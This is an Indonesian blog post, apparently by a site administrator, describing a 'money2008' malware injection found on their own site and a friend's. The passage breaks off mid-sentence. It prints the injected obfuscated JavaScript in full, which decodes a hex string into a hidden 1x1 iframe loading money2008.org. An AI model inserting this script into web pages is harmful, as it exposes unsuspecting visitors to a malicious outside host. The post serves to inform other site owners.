beberapa waktu lalu satu situs yang sempat saya kelola dan situs kawan saya terkena injeksi malware money2008. Entah bagaimana caranya tiba-tiba pada beberapa file terdapat tambahan baris script sebagi berikut :
//ke83jcnsWWdo403
<script type=\”text/javascript\”>\r\nfunction
CC70475059E00529BB593C9C20A(B8F4CAE98748092E8E6367F05FCF){function
C1826F692BFD1CF8913C37(){return
16;}return(parseInt(B8F4CAE98748092E8E6367F05FCF,C1826F692BFD1CF8913C37()));}function
B07B56FF7E3F2F514C65E(A580CA29C93E1C0E53A06693ABB){var CB9AED6DBA318389BBCCF9498DF22=2;var
C32DC468C68BC65AF2A58AE9E4BAC=\”\”;for(B5D436DCF02E51628012=0;B5D436DCF02E51628012<A580CA29C93E1
C0E53A06693ABB.length;B5D436DCF02E51628012+=CB9AED6DBA318389BBCCF9498DF22){C32DC468C68BC65AF2A58
AE9E4BAC+=(String.fromCharCode(CC70475059E00529BB593C9C20A(A580CA29C93E1C0E53A06693ABB.substr(B5
D436DCF02E51628012,CB9AED6DBA318389BBCCF9498DF22))));}document.write(C32DC468C68BC65AF2A58AE9E4B
AC);}B07B56FF7E3F2F514C65E(\”3C696672616D65207372633D22687474703A2F2F6D6F6E6579323030382E6F72672
F746D702F222077696474683D31206865696768743D31207374796C653D227669736962696C6974793A68696464656E3
B706F736974696F6E3A6162736F6C757465223E3C2F696672616D653E\”);\r\n</script>
Script diatas secara otomatis akan melakukan akses pada domain money2008.org
untuk situs yang pertama yaitu situs yang saya kelola tidak masalah karena tidak sampai [...]
